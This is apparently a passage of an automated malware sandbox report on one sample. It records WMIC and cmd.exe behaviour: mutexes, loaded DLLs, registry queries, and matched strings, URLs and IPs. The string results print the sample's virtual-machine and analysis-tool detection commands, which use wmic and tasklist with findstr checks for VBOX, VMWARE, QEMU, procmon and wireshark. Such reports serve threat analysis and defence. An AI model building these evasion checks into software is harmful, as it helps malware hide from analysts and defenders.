00000000-00002452.00000000.161068.A6650000.00000002.mdmp "y\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00005428.00000000.161402.22E51000.00000004.mdmp "SOFTWARE\Microsoft\Wbem\CIMOM" in Source: 00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp30:T586,Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2452:304:WilStaging_02" Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2452:304:WilStaging_02" Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2452:120:WilError_01" Process WMIC.exe created mutex with name "Local\SM0:2452:120:WilError_01" Process WMIC.exe created mutex with name "SM0:2452:120:WilError_01" Process WMIC.exe created mutex with name "Local\SM0:2452:304:WilStaging_02" Process WMIC.exe created mutex with name "SM0:2452:304:WilStaging_02" Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2452:120:WilError_01" Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5428:120:WilError_01" Process WMIC.exe created mutex with name "Local\SM0:5428:120:WilError_01" Process WMIC.exe created mutex with name "SM0:5428:120:WilError_01" Process WMIC.exe created mutex with name "SM0:5428:304:WilStaging_02" Process WMIC.exe created mutex with name "Local\SM0:5428:304:WilStaging_02" Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5428:304:WilStaging_02" Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5428:304:WilStaging_02" Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5428:120:WilError_01"31:Tce5,"cmd.exe" loaded module "KERNEL32" at base 7ffe706d0000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffe6e1d0000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffe6e1d0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffe6e1d0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffe6ed70000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe6e1d0000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe6e1d0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe6e1d0000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe4ec80000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffe706d0000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffe710d0000 "WMIC.exe" loaded module "KERNEL32" at base 7ffe706d0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffe6e1d0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffe6e1d0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffe6e1d0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffe6ed70000 "WMIC.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe6e1d0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe6e1d0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe6e1d0000 "WMIC.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe4ec80000 "WMIC.exe" loaded module "RPCRT4.DLL" at base 7ffe70ca0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffe6e1d0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffe628f0000 "WMIC.exe" loaded module "SSPICLI.DLL" at base 7ffe6d350000 "WMIC.exe" loaded module "KERNEL32.DLL" at base 7ffe706d0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 7ffe5cef0000 "WMIC.exe" loaded module "USER32.DLL" at base 7ffe6ea30000 "WMIC.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffe6e1d0000 "WMIC.exe" loaded module "MSISO.DLL" at base 7ffe483a0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffe6ba60000 "WMIC.exe" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSOXMLMF.DLL" at base 7ffe58740000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffe61000000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffe6e1d0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffe6e1d0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffe60820000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ffe606b0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\XML\WMI2XML.DLL" at base 7ffe58720000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7ffe4d8d0000 "WMIC.exe" loaded module "AMSI.DLL" at base 7ffe56d30000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffe63c50000 "WMIC.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffe55270000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\C4BWNK8Z.DLL" at base 7ffe5217000032:T6c7,"WMIC.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "WMIC.exe" touched "Free Threaded XML DOM Document 6.0" (Path: "HKCU\CLSID\{88D96A06-F192-11D4-A65F-0040963251E5}\TREATAS") "WMIC.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "WMIC.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "WMIC.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "WMIC.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WMIC.exe" touched "Microsoft WBEM WMI Object Factory" (Path: "HKCU\CLSID\{8D1C559D-84F0-4BB3-A7D5-56A7435A9BA6}\TREATAS") "WMIC.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "WMIC.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "WMIC.exe" touched "WbemQuery" (Path: "HKCU\CLSID\{EAC8A024-21E2-4523-AD73-A71A0AA2F56A}\TREATAS") "WMIC.exe" touched "XSL Template 6.0" (Path: "HKCU\CLSID\{88D96A08-F192-11D4-A65F-0040963251E5}\TREATAS") "WMIC.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\TREATAS") "WMIC.exe" touched "Component Categories Manager" (Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\TREATAS") "WMIC.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32")33:T71d,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")34:Taee,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "DISABLECMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "DISABLEUNCCHECK"; Value: "")35:T409,"WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\IPHLPAPI.DLL" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\FRAMEDYNOS.DLL" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\SSPICLI.DLL" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\FLTLIB.DLL" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\CRYPTSP.DLL" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\CRYPTSP.DLL" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\WBEMCOMN.DLL" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\system32\wbem\wbemcomn.dll" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\BCRYPT.DLL" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\system32\wbem\bcrypt.dll" "WMIC.exe" trying to access non-existent file "C:\Windows\System32\wbem\VERSION.DLL" "WMIC.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\VERSION.dll"36:Tc6f,file/memory contains long string with (Indicator: "smtp"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string ":edAfGmUcoeDmfocpnzKwQhCIlcNoOOXEJHrTFNtQKdEEtZuFWqDNbYOxbsudYgNZHycYwJjZGulmcyOMiHRYLKdlsusMTPrePfxuwVJNGdGgmbVcehvROpOwV" (Indicator: "smtp"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string ":zUWaXxxvBUmQuLmjljTseoDcafmNRSCvRwhhmWKxDtMrLdPmjMKPqIULQuAsKkdjSrzxdFxPZVokbLRwQzeEHmEIcWQsVSmTPcZUeRJdPvqUTjjEcDbKGZcgmqVGoEtGiVVymxSzqAoMvjpsnLPS" (Indicator: "smtp"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string ":FmDcCFiDzGZVAfsjFTJtZkDGiAgxiAAtaeXRDypTxTlOCasXBiMqZhEViwuBYkVyGguWIbfHdqwFypEIIJvznJUsZCiGDouMynIVfWOaDFNilyWtsmtPpVKw" (Indicator: "smtp"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string ":CgvpSmTpPcqbqqyrjXJnoPWLmlJKFFfUOfEryvfSXdXsaPGDzHMtchkmJkDhcIjJxWMKmHtnrqQKsdkWfGKyslshuRhOsypOuNvECvQsOYBlRZugzh" (Indicator: "smtp"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string ":NKpbSHboHEYZsjRvYjfsmtpNmzGzRzRkdAkFoSXdwuSsnCUtQGIOnOqTVcoSBcXImnwszLGFMCvsbwZkeMjLqDxOKQjMeEcUXJFAGcuEzDCkTxsZCEootLR" (Indicator: "smtp"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string ":sVMZIDhMuPpTNKEOIcfolAztXFjfSWYLtmeQjkpTnXEcKTSmtpQuOyArWSBDTBuYqdZbgneYnLBOwWiEmxldFdwvlmuRjlzldglhtrFGKsHDwmvzjwRVQRSNheputNoBLQl" (Indicator: "smtp"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string ":LtIVNnnPtuPsRBPAaiWBhYTZgQHNnTQCfWTIbCqvWjtQepRUShWdTZrnZjpwgabZdNMviHZYsbfyeDvqymvGwniGfgisMtPvHTnQdWmKHyksttIWo" (Indicator: "smtp"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string ":zUoDtXbirnCtsfkIeYyCicZMYsucoPqSslvBUgoEpPpgwbgTcoTrzefWubeBcztcxkBGkjnxktMSmtPxLbzAwyTNFYGsCncqWNj" (Indicator: "smtp"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string ":EEjfMUahRRAbpWoRDpxWyHfriywLejmtbIAlEXIMMhzbgKITaevceUnxYrwNYOCheHzhWCNghlJQHELXqckAnKOHUDNNauoyeRwYLbxYQPutKXpUfZXwdCtTssMTpAFmwLm" (Indicator: "smtp"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string ":cfPLDBWKNEgFLeZaXvxezZvOCvYBNsoAAIGmJZfVIQkoNUgatGDGVTRDkBIHdVxVQgECXmQxQbWjoGAiPxIHohehrDBIRXsmTPXhPd" (Indicator: "smtp"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string ":hToNEPAzfmLpybKpVASmtprKzmrSLUBqEOMNJlzBEVqGVMvpkkMctybrbdNRYhnKlVljOwfjARhYzlonrChbIYwFnVmgXhdWhfUAaLanFcbc" (Indicator: "smtp"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string ":qTZgRADemoSobHrMbjesmtpKUsjVEbaTFmgzwAKfQuTmuvuIiYIWlcuwdOMZRhaLOzjoarPaZybsZDPYxangSDhcskVinkNjUIYvLGhqIhxnACWazobrttsKSGwp" (Indicator: "smtp"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string ":ifOgSkZRDrmkrXdACkapeLhBwQNgrSeooyiLMFsNWonxfHdWNGmwxgsXxMjBWtakNxwsoSnxsMTpXkWonrSkfhqHGLNzVqqdOCkhLkhvTpEkNC" (Indicator: "smtp"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin")37:T118a,Found reference to API "WS-Management could not connect to the specified destination: (%1:%2!d!)." (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "The WinRM service cannot process the request because the WinRS shell instance is already processing a connect operation." (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "The client cannot connect to the destination specified in the request." (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "The WinRM client cannot process the request. The body response is not a valid connect request response." (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") file/memory contains long string with (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") file/memory contains long string with (Indicator: " shutdown "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "nslookup: WSAStartup:%0" (Indicator: "wsastartup"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "You have to connect to this printer before you can print on it. Do you want to connect to this printer and then print the selected document?" (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "Unable to connect Access denied, unable to connect.Printer not found on server, unable to connect" (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "The printer is offline. mWindows could not connect to your printer. Please check the connection between the computer and the printer. bThe printer is not responding. Please check the connection between your computer and the printer." (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "The activation server reported that the computer could not connect to the activation server." (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "G /S system Specifies the remote system to connect to." (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "7Parameter %1 must not contain embedded null characters.!Find an app in the Windows Store.oYou need to install an app first. Install a people or contacts app so you can connect with the people you know." (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "You can only send from apps." (Indicator: " send "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "send to a device right now.$To print content, connect a printer."To play content connect a device.HThe selected content is protected and can" (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp"), Found reference to API "To project connect a display." (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp"), Found reference to API "Install:This app is too big to download using a metered connection)Connect to another network and try again."Find another network to connect to\%1!s! can" (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") file/memory contains long string with (Indicator: " send "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "Unable to read system shutdown configuration information from the registry." (Indicator: " shutdown "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "Cannot connect to WinSAT" (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "Failed to apply CSC suspend policy. Cannot connect to CSC service.%n DETAIL - %1" (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found reference to API "Windows Connect Now" (Indicator: " connect "; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp")38:T60a,"192.168.0.2" Potential IPs "2.0.0.1" "2.0.0.20" "24.0.0.1" "24.0.0.22" found in string "2.0.0.1-2.0.0.20, 24.0.0.1-24.0.0.22" Potential IP "127.0.0.1" found in string "The WinRM client cannot process the request. If you do not specify an authentication mechanism or you specify Kerberos, then you cannot use "localhost" or "127.0.0.1" or "[::1]" for the remote host name." Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=!(157.59.136.1)" Potential IPs "157.59.136.1" "157.59.136.11" found in string "e.g. IPv4.Address=(157.59.136.1,157.59.136.11)" Potential IP "157.59.136.1" found in string "e.g. IPv4.SourceAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.DestinationAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "IPv4.Address=157.59.136.1'" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1'" Potential IP "157.59.136.1" found in string "This will capture IPv4 packets only from 157.59.136.1, and it" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes IPv4.Address=(2.0.0.0-3.0.0.0)" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes IPv4.SourceAddress=(2.0.0.0,3.0.0.0)" Potential IP "2.0.0.0" found in string "providerFilter=Yes IPv4.DestinationAddress=!(2.0.0.0)"39:T705,Pattern match: "http://www.validationtest.contoso.com/test%d.html" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104.&click" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291337%@font-face" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257.s" Pattern match: "http://www.w3.org/xml/1998/namespace..the" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://www.w3.org/xml/1998/namespace" Pattern match: "http://www.w3.org/1999/xlink.{text" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104" Pattern match: "go.microsoft.com/fwlink/?linkid=109695&result=block&t=%1&url=%2" Pattern match: "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin?name=xyz" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/service" Pattern match: "http://[1::2]:80/wsman" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd" Heuristic match: "for example, for a target computer name myserver.domain.com, the spn can be one of the following: wsman/myserver.domain.com or wsman/*.domain.com" Pattern match: "http://www.w3.org/2000/svg" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624361" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624359" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624360" Pattern match: "http://www.w3.org/1999/xhtml" Heuristic match: "treenode.textcontent = nul | findstr /i "VBOX" >nul 2>&1" (Indicator: "findstr "; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "wmic diskdrive get Model 2>nul | findstr /i "VMWARE" >nul 2>&1" (Indicator: "findstr "; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "wmic diskdrive get Model 2>nul | findstr /i "VIRTUAL" >nul 2>&1" (Indicator: "findstr "; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "wmic diskdrive get Model 2>nul | findstr /i "QEMU" >nul 2>&1" (Indicator: "findstr "; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "tasklist 2>nul | findstr /i "procmon" >nul 2>&1" (Indicator: "findstr "; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "tasklist 2>nul | findstr /i "vmtoolsd" >nul 2>&1" (Indicator: "findstr "; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "tasklist 2>nul | findstr /i "vboxservice" >nul 2>&1" (Indicator: "findstr "; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "tasklist 2>nul | findstr /i "wireshark" >nul 2>&1" (Indicator: "findstr "; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "findstr /i "VBOX"" (Indicator: "findstr "; Source: "00000000-00001908-00000C47-4845557394") Found string "findstr /i "VMWARE"" (Indicator: "findstr "; Source: "00000000-00001908-00000C47-17254743264")3f:T1343,Found string "The specified account's password has expired." (Indicator: "password"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "Unknown user name or bad password." (Indicator: "password"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "Failed to zero secret data." (Indicator: "secret"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "ChangePassword (with knowledge of old password)" (Indicator: "password"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "SetPassword (without knowledge of old password)" (Indicator: "password"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "Create a secret object" (Indicator: "secret"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "Change secret value" (Indicator: "secret"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "Query secret value" (Indicator: "secret"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "The client specified username and password in the request to the destination computer. But the destination" (Indicator: "password"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "when using HTTPS. Username and password must be specified." (Indicator: "password"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "To use Basic, specify the computer name as the remote destination, specify Basic authentication and provide user name and password." (Indicator: "password"; Source: 